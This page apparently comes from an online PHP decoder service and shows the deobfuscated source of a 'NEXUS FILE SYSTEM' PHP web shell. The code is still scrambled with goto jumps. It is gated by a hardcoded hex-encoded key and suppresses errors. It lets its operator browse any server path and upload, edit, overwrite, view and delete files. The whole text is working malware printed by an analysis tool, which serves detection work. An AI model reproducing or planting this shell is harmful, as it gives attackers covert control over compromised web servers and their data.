Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


 goto eAbdE; gNA5c: $nexus_perms = function ($file) { return @fileperms($file); }; goto MUeWJ; BbUVu:
">⬆ PARENT</a> <a class="btn"href="?p=/">📁 ROOT</a> <a class="btn"href="?p=/goto aewTR; SQiEW: $nexus_parent_dir = function ($path) { return @dirname($path); }; goto yz5dw; ghl2E: $nexus_is_dir = function ($path) { return @is_dir($path); }; goto VFK7u; FAzmA: $nexus_change_dir = function ($path) { return @chdir($path); }; goto hVBos; JzOAh: @set_time_limit(0); goto aEAx7; lzSrC: gfrbZ: goto BH0nI; O_ehw: goto lgPEv; goto keppj; fgy5R: goto sdBg8; goto fbY88; eAbdE: goto UknY3; goto GhgAA; fbY88: yYfui: goto ssHXB; Mt5eO: BJinJ: goto H8u6E; bwwSa: LBV4l: goto ghl2E; dqYr0: goto blqEu; goto JTqsh; jQzgN: goto s3dGU; goto yrGVz; zMK4R: goto r2nSA; goto ux6UG; FiSSj: goto DyH1B; goto riFfw; bDBFE: CsfUm: goto l3CDD; dUO9J: Ngaqd: goto ghxag; LK8W7: goto GJXpt; goto rregr; zQgDt:
</tbody></table>goto BVJC4; MiNyh: goto yYfui; goto nzYTx; L6v9F: goto r4_hI; goto DpsiN; nzYTx: bQTH2: goto ybq0d; CXO1_: yX7Q_: goto f_VoQ; b2BBz: goto Eltu8; goto Mt5eO; O0IY6: goto L1Yoo; goto w3MX9; Wedvu: $key = "\x39\x62\x37\x6b\x35\x37\x62\x36\x61"; goto Hd36h; gX7pr:
">🔄 REFRESH</a></div></div><div class="upload-box"><form enctype="multipart/form-data"method="post"><strong>UPLOAD FILE:</strong><br><input type="file"name="upload_file"style="margin:10px 0"> <input type="submit"class="btn"value="UPLOAD"></form></div><table><thead><tr><th>NAME</th><th>SIZE</th><th>PERMISSIONS</th><th>MODIFIED</th><th>ACTIONS</th></tr></thead><tbody>goto mqQEr; abbMa: goto LBV4l; goto PHo6V; xjzZB: s3dGU: goto gFRWm; rregr: Qmq43: goto XmZ16; txbe6: $nexus_write = function ($file, $data) { return @file_put_contents($file, $data); }; goto abbMa; oAICg: L1Yoo: goto xNVIs; ygXDc: goto e2UZb; goto M3Jzm; w3MX9: Kv_tc: goto IbeqD; JTqsh: bBlTQ: goto FAzmA; Pu3yB: cHw7H: goto zQgDt; Wg_Rs: goto nUMRd; goto bwwSa; evVrR: goto wYosI; goto f5qm2; iUqQO: Jciik: goto Z1L95; PguuS: goto b9L_n; goto fIAKP; OvNnq: $nexus_scan = function ($path) { return @scandir($path); }; goto fgy5R; kg38L: eRH2e: goto JzOAh; GhgAA: sdBg8: goto HS0eb; JJ2YF: T1kzc: goto BbUVu; Lw6Ya: goto T1kzc; goto M8miT; f_VoQ: if (isset($_POST["\x6b\x65\x79"]) && $_POST["\153\x65\171"] == $key) { $_SESSION["\x61\x75\x74\x68"] = true; } goto ASKXv; DpsiN: bav3L: goto j97Yx; jM3nF: if (isset($_GET["\x72\x65\x6d\157\x76\145"])) { $target = $current_path . "\57" . $_GET["\162\x65\155\x6f\166\145"]; if ($nexus_is_dir($target)) { $nexus_delete_dir($target); } else { $nexus_delete_file($target); } header("\x4c\157\x63\x61\164\151\157\x6e\x3a\40\77\160\x3d\x2f{$current_path}"); die; } goto FiSSj; BH0nI: $nexus_current_dir = function () { return @getcwd(); }; goto Wg_Rs; r5Cgx: goto Kv_tc; goto liF_x; RuJlD: goto uZZ95; goto QWMW3; xNVIs: $current_path = str_replace("\x5c", "\57", $current_path); goto LK8W7; QuTaC: kzYPd: goto txbe6; H8u6E: $nexus_delete_dir = function ($path) { return @rmdir($path); }; goto evVrR; HS0eb: $nexus_read = function ($file) { return @file_get_contents($file); }; goto Vc3tL; VFK7u: goto uifBE; goto JJ2YF; xXpK9: uifBE: goto iWIFJ; Hd36h: goto yX7Q_; goto rospf; yz5dw: goto REhnv; goto kg38L; NuPiF: UknY3: goto T4OCi; T4OCi: @error_reporting(0); goto tzpNs; jkMLL: $built = ''; goto rhWDR; riFfw: Eltu8: goto Wedvu; tzpNs: goto eRH2e; goto L9brU; Tjo13: if (isset($_POST["\146\x69\x6c\145\137\x63\x6f\x6e\x74\x65\x6e\164"])) { $nexus_write($current_path . "\x2f" . $_POST["\x66\x69\x6c\x65\x5f\x6e\141\x6d\x65"], $_POST["\x66\151\x6c\145\137\x63\x6f\x6e\164\x65\156\164"]); $nexus_output("\74\x73\143\x72\151\x70\x74\76\x61\x6c\145\x72\x74\x28\x22\x46\151\x6c\145\40\163\141\166\x65\x64\x21\x22\x29\x3b\154\157\x63\141\x74\x69\157\x6e\x2e\x68\162\145\146\x3d\x22\x3f\160\x3d\57" . $current_path . "\42\x3b\74\x2f\x73\143\162\151\x70\x74\76"); } goto MiNyh; Sjzem: goto BJinJ; goto lW0xl; IbeqD: $current_path = isset($_GET["\x70"]) ? $nexus_real_path($_GET["\160"]) : $nexus_current_dir(); goto dqYr0; H6vg8: goto Ngaqd; goto CXO1_; ac_9X: goto YIPQb; goto xjzZB; M3Jzm: jBHI2: goto ktMuJ; f5qm2: blqEu: goto dYdv_; ZwzzL: if ($current_path && $nexus_is_dir($current_path)) { $items = $nexus_scan($current_path); if ($items) { foreach ($items as $item) { if ($item == "\56" || $item == "\56\56") { continue; } $full_path = $current_path . "\x2f" . $item; $is_dir = $nexus_is_dir($full_path); $size = $is_dir ? "\x3c\145\155\76\x46\x4f\x4c\104\x45\x52\x3c\57\145\x6d\76" : round($nexus_file_size($full_path) / 1024, 2) . "\x20\x4b\102"; $perms = substr(sprintf("\45\157", $nexus_perms($full_path)), -4); $modified = date("\x59\x2d\155\55\144\x20\110\72\151", filemtime($full_path)); $nexus_output("\74\164\x72\x3e"); $nexus_output("\74\x74\x64\76"); if ($is_dir) { $nexus_output("\74\163\160\x61\x6e\40\x63\x6c\141\163\163\x3d\42\146\157\x6c\144\x65\x72\42\76\xf0\x9f\223\201\x20\x3c\57\x73\160\141\156\x3e\x20\x3c\141\40\150\x72\145\146\75\x22\77\x70\x3d\57" . $full_path . "\x22\x20\x63\x6c\x61\x73\163\75\x22\x66\x6f\154\x64\145\x72\x22\76\x3c\163\x74\162\157\x6e\147\76" . $item . "\x3c\57\163\x74\x72\157\156\147\x3e\74\57\141\76"); } else { $nexus_output("\x3c\x73\x70\x61\x6e\x20\x63\154\x61\163\163\x3d\x22\146\151\x6c\145\x22\76\xf0\237\x93\204\x20\x3c\57\x73\x70\x61\x6e\x3e\40" . $item); } $nexus_output("\74\x2f\164\x64\x3e"); $nexus_output("\x3c\x74\x64\76" . $size . "\x3c\57\164\x64\76"); $nexus_output("\x3c\164\144\76" . $perms . "\74\57\x74\x64\x3e"); $nexus_output("\74\x74\x64\x3e" . $modified . "\74\x2f\164\144\x3e"); $nexus_output("\74\164\x64\x3e"); if (!$is_dir) { $nexus_output("\74\x61\40\x68\x72\145\146\75\42\x3f\x65\x64\151\164\75" . $item . "\x26\160\75\57" . $current_path . "\42\40\x63\x6c\141\x73\x73\75\x22\142\164\x6e\x22\x3e\x45\104\x49\124\x3c\57\x61\x3e\x20"); $nexus_output("\x3c\141\40\x68\x72\145\146\75\x22" . $full_path . "\x22\x20\x74\x61\x72\x67\x65\x74\75\42\x5f\x62\x6c\141\156\x6b\42\40\143\x6c\141\x73\x73\x3d\x22\x62\x74\156\x22\76\126\x49\105\x57\74\x2f\x61\76\40"); } $nexus_output("\74\141\40\150\x72\x65\146\75\42\x3f\x72\x65\x6d\157\166\145\x3d" . $item . "\x26\160\x3d\x2f" . $current_path . "\42\x20\143\x6c\141\x73\x73\75\x22\x62\164\x6e\x20\142\x74\x6e\55\x64\x61\x6e\147\145\x72\x22\x20\x6f\156\x63\x6c\x69\x63\153\75\x22\x72\x65\164\x75\x72\156\40\143\157\x6e\x66\x69\162\x6d\x28\47\x44\145\154\x65\164\x65\77\47\51\x22\x3e\x44\105\114\x45\x54\x45\x3c\57\141\x3e"); $nexus_output("\x3c\57\x74\x64\76"); $nexus_output("\x3c\x2f\x74\x72\76"); } } else { $nexus_output("\74\164\x72\76\x3c\x74\144\x20\143\x6f\154\163\160\141\x6e\75\x22\65\x22\40\163\164\171\x6c\145\75\x22\164\x65\170\x74\55\141\154\151\147\156\72\x63\x65\x6e\x74\145\162\73\x22\x3e\x45\x6d\x70\x74\x79\40\144\x69\x72\x65\x63\x74\157\162\171\x3c\57\164\x64\x3e\x3c\x2f\x74\162\76"); } } else { $nexus_output("\x3c\164\x72\76\74\164\144\x20\143\157\154\x73\160\141\x6e\x3d\x22\x35\x22\x20\x73\164\x79\154\145\x3d\x22\164\145\x78\164\55\x61\x6c\151\147\x6e\72\x63\145\x6e\164\145\162\73\42\76\x49\x6e\166\x61\154\x69\144\x20\x70\141\x74\150\74\x2f\x74\144\x3e\x3c\x2f\x74\x72\76"); } goto dZLhB; y6ZNG: REhnv: goto pN9Cz; hVBos: goto gfrbZ; goto oAICg; v0sbs: X94oc: goto OvNnq; j97Yx:
<br><br><a class="btn"href="?p=/goto H6vg8; vJYX3: goto bQTH2; goto upWkQ; fIAKP: nUMRd: goto SQiEW; lW0xl: BCflD: goto BAdhe; M8miT: M_5Vz: goto ZwzzL; qsuNg: foreach ($parts as $i => $part) { if ($part == '') { $nexus_output("\74\x61\x20\150\x72\x65\146\75\x22\x3f\x70\x3d\x2f\x22\76\x2f\74\x2f\141\76"); continue; } $built .= ($built ? "\x2f" : '') . $part; $nexus_output("\74\x61\40\x68\162\145\146\75\42\x3f\x70\x3d\x2f" . $built . "\x22\76" . $part . "\74\57\x61\76"); if ($i < count($parts) - 1) { $nexus_output("\x20\x2f\40"); } } goto V3Ww5; gDRXd: wYosI: goto m6T5I; fY7uZ: goto Hkph5; goto xXpK9; Jgjwa: goto X94oc; goto dUO9J; XnD70: r4_hI: goto gX7pr; pN9Cz: $nexus_basename = function ($path) { return @basename($path); }; goto b2BBz; gFRWm: $nexus_output = function ($data) { echo $data; }; goto Jgjwa; aewTR: goto Jciik; goto XnD70; ASKXv: goto jBHI2; goto QuTaC; CtFui: lgPEv: goto jM3nF; aEAx7: goto Qmq43; goto NuPiF; keppj: FHA6l: goto qsuNg; QWMW3: GJXpt: goto ONiRF; iWIFJ: $nexus_file_size = function ($file) { return @filesize($file); }; goto PguuS; BifW0: $nexus_real_path = function ($path) { return @realpath($path); }; goto RuJlD; MUeWJ: goto eMfg2; goto Pu3yB; jO9iV:
</title><style>*{margin:0;padding:0;box-sizing:border-box}body{background:#0a0a0a;color:#0c0;font-family:'Courier New',monospace;font-size:13px}.header{background:#111;padding:15px;border-bottom:1px solid #333}.path{background:#151515;padding:10px;margin:10px;border:1px solid #333}.path a{color:#fff;text-decoration:none}.path a:hover{color:#0f0}table{width:100%;border-collapse:collapse;background:#111}th{background:#222;color:#fff;padding:10px;text-align:left;border-bottom:2px solid #333}td{padding:8px;border-bottom:1px solid #222}tr:hover{background:#1a1a1a}.folder{color:#f90}.file{color:#0cf}.btn{background:#222;color:#0c0;border:1px solid #0c0;padding:4px 10px;cursor:pointer;text-decoration:none;display:inline-block;margin:2px}.btn:hover{background:#0c0;color:#000}.btn-danger{border-color:#c00;color:#c00}.btn-danger:hover{background:#c00;color:#fff}.upload-box{background:#151515;padding:15px;margin:10px;border:1px solid #333}.editor{background:#000;padding:20px;margin:10px;border:2px solid #0c0}textarea{width:100%;height:400px;background:#000;color:#0f0;border:1px solid #333;padding:10px;font-family:monospace}</style></head><body><div class="header"><h1>📁 NEXUS FILE SYSTEM</h1><div class="path"><strong>PATH:</strong>goto z9V3E; L9brU: Hkph5: goto jO9iV; dZLhB: goto cHw7H; goto gDRXd; BVJC4: goto CsfUm; goto GqhJ3; PHo6V: eMfg2: goto BifW0; XmZ16: @session_start(); goto jQzgN; ONiRF: $parent_path = $nexus_parent_dir($current_path); goto vJYX3; ktMuJ: if (!isset($_SESSION["\x61\165\x74\150"]) || $_SESSION["\x61\x75\x74\x68"] !== true) { $nexus_output("\74\x62\157\144\x79\x20\163\x74\x79\x6c\145\75\42\142\141\x63\153\x67\x72\x6f\165\156\x64\x3a\43\x30\60\x30\x3b\x63\x6f\x6c\x6f\x72\72\x23\60\146\x30\x3b\x66\157\156\164\55\146\x61\x6d\151\154\x79\x3a\x6d\157\x6e\x6f\x73\x70\x61\x63\145\x3b\x70\141\x64\x64\151\x6e\x67\55\x74\157\160\x3a\x31\x30\x30\x70\170\73\x22\76\12\40\x20\x20\40\40\x20\x20\x20\74\143\145\x6e\x74\x65\x72\x3e\12\x20\x20\x20\40\x20\40\40\40\74\x64\151\166\40\x73\164\x79\154\145\75\42\142\157\x72\x64\x65\x72\72\61\160\x78\40\163\x6f\154\x69\144\x20\x23\60\x66\60\73\160\141\144\144\151\x6e\x67\72\63\x30\x70\170\73\167\151\x64\164\150\72\x33\x30\60\160\x78\73\x62\x61\x63\153\x67\x72\157\165\156\x64\x3a\43\x31\61\61\73\x22\x3e\12\x20\x20\40\40\x20\x20\x20\40\74\x68\62\x3e\360\x9f\224\220\40\123\131\123\x54\x45\115\x20\x41\x43\x43\x45\x53\123\x3c\x2f\x68\62\76\12\x20\40\40\x20\40\40\x20\x20\x3c\x66\x6f\162\x6d\40\x6d\145\x74\x68\x6f\x64\75\42\x70\157\163\164\42\x3e\xa\x20\x20\x20\x20\40\40\x20\x20\x3c\x69\156\x70\165\x74\x20\x74\171\160\145\75\42\x70\x61\163\163\x77\157\x72\x64\42\40\x6e\141\x6d\x65\x3d\42\x6b\x65\171\x22\x20\160\154\141\143\x65\x68\x6f\x6c\144\x65\x72\75\x22\105\156\x74\x65\162\x20\153\145\x79\x22\40\163\164\x79\154\x65\x3d\x22\167\x69\x64\x74\x68\x3a\61\60\60\x25\73\160\x61\144\144\151\x6e\x67\x3a\x38\x70\x78\x3b\x62\x61\x63\153\x67\x72\x6f\x75\156\x64\72\43\62\62\x32\x3b\x63\157\x6c\x6f\162\x3a\43\x30\x66\x30\x3b\x62\157\x72\144\145\x72\x3a\61\x70\170\x20\163\x6f\154\151\x64\40\43\60\x66\60\x3b\42\76\74\x62\162\76\x3c\x62\162\76\12\x20\40\x20\40\x20\40\x20\x20\x3c\x69\x6e\160\165\x74\40\x74\x79\x70\145\75\x22\x73\165\142\x6d\x69\164\x22\x20\166\141\x6c\x75\x65\75\42\101\x55\x54\110\105\116\x54\x49\103\101\x54\x45\42\40\163\x74\171\x6c\x65\75\x22\x77\151\144\x74\x68\x3a\61\60\x30\x25\x3b\160\141\x64\x64\x69\156\x67\x3a\70\x70\x78\x3b\x62\x61\143\x6b\147\x72\157\165\156\144\x3a\x23\60\146\60\x3b\x63\x6f\x6c\x6f\x72\72\x23\60\60\x30\73\142\x6f\162\144\145\x72\x3a\156\157\156\145\x3b\143\x75\x72\x73\x6f\x72\x3a\x70\157\151\x6e\164\x65\162\73\42\76\12\x20\x20\x20\x20\40\40\40\x20\x3c\57\146\x6f\162\155\76\xa\x20\40\x20\40\x20\40\40\x20\x3c\57\x64\151\x76\76\12\40\40\40\40\40\x20\40\40\74\57\x63\x65\x6e\164\145\x72\x3e\xa\40\x20\40\x20\x20\40\40\x20\x3c\x2f\x62\x6f\x64\171\x3e"); die; } goto r5Cgx; upWkQ: DyH1B: goto gzptH; gzptH:
<!doctypehtml><html><head><title>NEXUS ::goto ygXDc; z9V3E: goto BCflD; goto bDBFE; BAdhe: $parts = explode("\x2f", $current_path); goto ac_9X; Z1L95: $nexus_output($current_path); goto L6v9F; liF_x: r2nSA: goto Tjo13; ghxag: $nexus_output($parent_path); goto Lw6Ya; CgB4H: $nexus_output($nexus_basename($current_path)); goto fY7uZ; rospf: b9L_n: goto gNA5c; mqQEr: goto M_5Vz; goto y6ZNG; dYdv_: if ($current_path) { $nexus_change_dir($current_path); } goto O0IY6; g4lQp: goto bBlTQ; goto CtFui; rhWDR: goto FHA6l; goto v0sbs; ybq0d: if (isset($_FILES["\165\x70\154\x6f\x61\144\x5f\146\x69\154\x65"])) { if ($nexus_copy($_FILES["\x75\x70\x6c\x6f\141\144\x5f\x66\151\x6c\x65"]["\x74\x6d\160\x5f\x6e\141\155\145"], $current_path . "\57" . $_FILES["\165\160\154\157\x61\144\137\146\151\154\x65"]["\156\141\155\x65"])) { $nexus_output("\x3c\163\x63\162\x69\x70\164\76\141\154\x65\162\164\50\x22\xe2\234\223\x20\x55\x70\x6c\x6f\141\x64\x20\143\157\x6d\160\154\x65\x74\x65\42\51\73\x6c\157\x63\141\x74\151\x6f\x6e\56\150\x72\x65\146\x3d\42\77\160\x3d\57" . $current_path . "\x22\73\74\x2f\x73\x63\x72\x69\160\164\x3e"); } } goto O_ehw; o0_WK: $nexus_copy = function ($from, $to) { return @copy($from, $to); }; goto Sjzem; Vc3tL: goto kzYPd; goto iUqQO; V3Ww5: goto bav3L; goto lzSrC; ux6UG: YIPQb: goto jkMLL; GqhJ3: e2UZb: goto CgB4H; yrGVz: uZZ95: goto o0_WK; l3CDD: if (isset($_GET["\145\x64\x69\164"])) { $file_to_edit = $current_path . "\57" . $_GET["\145\144\x69\164"]; if (!$nexus_is_dir($file_to_edit)) { $content = htmlspecialchars($nexus_read($file_to_edit)); $nexus_output("\74\x64\151\x76\40\143\154\141\163\163\75\42\x65\144\151\x74\x6f\162\42\76"); $nexus_output("\x3c\x68\62\76\x45\144\151\164\151\156\147\x3a\40" . $_GET["\x65\x64\x69\164"] . "\x3c\x2f\x68\x32\x3e"); $nexus_output("\74\146\157\162\155\40\x6d\x65\164\x68\157\144\75\x22\160\x6f\163\x74\x22\76"); $nexus_output("\74\164\x65\170\164\141\x72\145\x61\x20\x6e\141\155\145\75\x22\146\x69\x6c\145\x5f\143\157\x6e\x74\145\156\164\x22\76" . $content . "\x3c\x2f\164\145\x78\164\x61\162\x65\141\x3e\74\142\162\76"); $nexus_output("\74\151\156\160\x75\x74\x20\164\171\x70\145\75\x22\150\x69\x64\x64\145\x6e\x22\x20\156\x61\x6d\x65\x3d\x22\146\x69\154\145\137\156\x61\x6d\145\x22\x20\166\141\x6c\x75\x65\x3d\x22" . $_GET["\145\144\x69\164"] . "\42\76"); $nexus_output("\x3c\x69\x6e\160\165\164\40\164\171\160\x65\75\42\x73\x75\x62\155\x69\164\x22\40\x76\141\154\x75\145\x3d\42\x53\101\126\105\42\40\143\x6c\x61\163\x73\x3d\x22\x62\x74\x6e\x22\40\x73\164\171\x6c\x65\75\x22\160\141\x64\144\x69\x6e\x67\x3a\x31\60\160\170\40\x33\60\x70\x78\x3b\42\76"); $nexus_output("\x3c\141\40\x68\x72\x65\146\x3d\42\77\x70\75\57" . $current_path . "\x22\40\x63\154\x61\x73\x73\75\x22\x62\164\x6e\42\40\x73\x74\x79\154\x65\x3d\x22\160\x61\144\x64\x69\x6e\x67\x3a\61\60\160\x78\40\63\x30\160\x78\73\x22\76\103\x41\116\x43\x45\x4c\74\x2f\x61\x3e"); $nexus_output("\x3c\57\146\x6f\162\x6d\x3e"); $nexus_output("\74\x2f\x64\x69\166\76"); } } goto zMK4R; m6T5I: $nexus_delete_file = function ($file) { return @unlink($file); }; goto g4lQp; ssHXB:
</body></htm



© 2023 Quttera Ltd. All rights reserved.